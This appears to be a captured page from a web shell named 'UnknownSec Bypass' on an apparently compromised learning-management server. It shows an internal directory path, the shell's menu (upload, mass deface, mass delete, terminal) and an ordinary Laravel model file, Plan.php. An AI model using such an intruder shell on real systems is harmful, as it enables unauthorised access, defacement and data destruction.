UnknownSec Bypass
403
:
/
mnt
/
lmsestudio-instance-vol002
/
lms_afe5a0d40148
/
app
/
Models
/
Financial
/ [
drwxr-xr-x
]
Menu
Upload
Mass depes
Mass delete
Terminal
Info server
About
name :
Plan.php
<?php namespace EstudioLMS\Models\Financial; use Dimsav\Translatable\Translatable; use Illuminate\Database\Eloquent\Model; /** * EstudioLMS\Models\Financial\Plan * * @property int $id * @property int $duration_id * @property \Carbon\Carbon $created_at * @property \Carbon\Carbon $updated_at * @property-read \EstudioLMS\Models\Financial\Duration $duration * @property-read mixed $course_name_with_price * @property-read \Illuminate\Database\Eloquent\Collection|\EstudioLMS\Models\Financial\PlanTranslation[] $translations * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan freePlan() * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan listsTranslations($translationField) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan notTranslatedIn($locale = null) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan translated() * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan translatedIn($locale = null) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereCreatedAt($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereDurationId($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereId($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereTranslation($key, $value, $locale = null) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereTranslationLike($key, $value, $locale = null) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan whereUpdatedAt($value) * @method static \Illuminate\Database\Query\Builder|\EstudioLMS\Models\Financial\Plan withTranslation() * @mixin \Eloquent */ class Plan extends Model { use Translatable; public $translatedAttributes = [ 'name', ]; protected $fillable = [ 'duration_id', 'name' ]; protected $appends = [ 'course_name_with_price' ]; /** * @return \Illuminate\Database\Eloquent\Relations\BelongsTo */ public function duration() { return $this->belongsTo('EstudioLMS\Models\Financial\Duration'); } /** * @param $query * @return mixed */ public function scopeFreePlan($query) { return $query->whereHas('duration', function ($query) { $query->where('duration', '=', 999); }); } /** * @return string */ public function getCourseNameWithPriceAttribute() { return $this->name .' - '. $this['pivot']['price']; } }
Copyright © 2026 - UnknownSec